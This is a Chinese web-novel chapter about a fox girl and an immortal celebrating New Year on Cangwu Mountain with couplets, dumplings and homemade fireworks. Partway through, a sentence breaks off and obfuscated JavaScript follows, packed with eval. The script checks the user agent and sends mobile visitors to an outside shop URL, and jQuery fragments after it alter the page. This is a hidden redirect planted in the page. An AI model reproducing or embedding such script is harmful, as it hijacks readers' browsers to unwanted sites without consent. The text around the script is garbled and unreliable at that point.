小九已经很久没有过年了。
她的时间被修炼、修缮和谈恋爱占得满满当当，要不是那天在山脚下的镇子上看到人间张灯结彩，她都快忘了腊月三十。
回到苍梧山，她翻箱倒柜地找红纸。
沈清辞从书房走出来，看到她蹲在地上翻得满头是汗，问道：“找什么？”
“红纸！毛笔！墨！”小九头也不抬，“今晚过年，我要贴春联！”
沈清辞沉默了片刻。
“苍梧山不过年。”
“那是因为您老人家三万多年都没过过年！”小九终于从柜子最深处翻出一沓落灰的红纸，吹了吹灰，兴致勃勃，“今年不一样，今年有我在。”
沈清辞看着那只灰头土脸眼睛发光的小狐狸，嘴角微微弯了一下。
“随你。”
小九在院子里摆开阵仗。红纸铺了一桌，砚台里磨好了墨，她撸起袖子，提笔悬腕。
然后愣住了。
这辈子写代码，突然要她写春联，她连横竖都写不直。
“我来。”沈清辞不知何时站在了她身后，伸手抽走了她手里的笔。
仙尊大人提笔蘸墨，手腕一动，一行字落在了红纸上：
“苍梧雪落千山静。”
字迹清隽飘逸，风骨凛然，就像她这个人。
“下联你来。”沈清辞把笔递给她。
“我写不了……”
“我握着你的手写。”
没等小九反应过来，沈清辞已经从身后环住了她，右手握住她执笔的手，左手轻轻压住纸面。
她们的身体贴得很近，近到小九能感觉到沈清辞的心跳。
“写什么？”沈清辞的声音从头顶传来，带着淡淡的笑意。
小九的脸红得像桌上的红纸。
“……洞府春深……”
“洞府春深什么？”
“洞府春深……一只狐。”
沈清辞顿了顿。
然后小九感觉到身后的身体在微微发抖，沈清辞在忍笑。
“你笑什么！”小九气急败坏，“我本来想写‘洞府春深万事兴’，但‘万事兴’太俗了！我就是要写‘一只狐’！你有意见？”
“没有。”沈清辞的声音里全是笑意，“很好。”
她握着小九的手，一笔一划地写下了那七个字。
横批是沈清辞自己添的。
“小九的家。”
她把春联贴在院门上，站在远处左看右看，满意得不行。沈清辞站在她身后，看着那歪歪扭扭的“一只狐”和清隽有力的“一只狐”被同一个人的手写出来，眼底的光温柔得像融雪。
晚上，小九包了饺子。
苍梧山没有猪肉白菜，但有灵兽肉和翡翠白菜。她剁馅、和面、擀皮、包馅，一个人忙活了两个时辰。沈清辞想帮忙，被小九以“仙尊大人您别添乱”的理由赶出了厨房。
饺子出锅的时候，小九端了两碗到院子里。
苍梧山的夜空格外的清朗，没有烟花的喧嚣，只有满天的星子和一轮将圆的月。
“在现代，过年要吃饺子、看春晚、放烟花。”小九夹起一个饺子，吹了吹，“这里没有春晚，我们就看月亮吧。”
沈清辞坐在她对面，用筷子夹起一个饺子，咬了一口。
“好吃吗？”小九眼巴巴地看着她。
沈清辞慢慢嚼完，喝了口茶。
“尚可。”
小九瘪嘴。都一年多了，还是“尚可”？
“比去年好。”沈清辞又补了一句。
小九的嘴角翘了起来。
吃完饺子，小九神秘兮兮地从怀里掏出一样东西，一根细细的竹签，顶端缠着一些碎布料和火药粉末。
“这是什么？”沈清辞问。
“烟花！我自己做的！虽然没有现代的那么好看，但凑合能看。”
小九把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621224|206181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竹签插在雪地里，退后两步，打了一个响指，一丝狐火飞出去，点燃了引线。
“嗤——”
一道细细的火光窜上夜空，在十几丈高的地方炸开，化作一朵小小的、歪歪扭扭的金色花。
不大，不好看，甚至有点寒酸。
但那是苍梧山来，第一次有烟花。
沈清辞仰头看着那朵转瞬即逝的金色小花，久久没有说话。
“怎么了？是不是太丑了？”小九有点不好意思。
沈清辞摇了摇头。
“我活了这么多年，”她说，声音很轻，“从来没有人给我放过烟花。”
小九的心猛地揪了一下。
“清辞。”小九走过去，握住她的手。
“嗯。”
“以后每一年，我都给你放烟花。一直放到你腻为止。”
沈清辞低下头，看着那只握着她的手。
她把那只手举到唇边，轻轻吻了一下。
“不会腻的。”她说。
深夜，她们并肩坐在屋顶上，裹着同一件外袍。
苍梧山的雪停了，月光洒在雪地上，把整个世界照得像白天一样亮。
“清辞，新年快乐。”小九靠在她肩上。
“新年快乐。”
“你有什么新年愿望吗？”
沈清辞想了想。
“希望你少烧几次厨房。”
小九在她腰上拧了一下。
“开玩笑的。”沈清辞握住她不规矩的手，十指相扣，“我的愿望已经实现了。”
“什么？”
“你在这里。”
小九没有说话，只是把沈清辞的手握得更紧了一些。
远处，小镇的方向传来零星的爆竹声，断断续续的，像是人间在遥遥地向她们道一声，过年好。
小九闭上眼睛，在心里默默许了一个愿：
愿年年有今日，岁岁有今朝。